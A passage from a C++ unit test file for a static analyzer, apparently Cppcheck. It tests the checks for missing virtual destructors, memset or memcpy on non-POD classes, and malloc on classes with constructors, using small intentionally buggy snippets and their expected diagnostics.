Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) 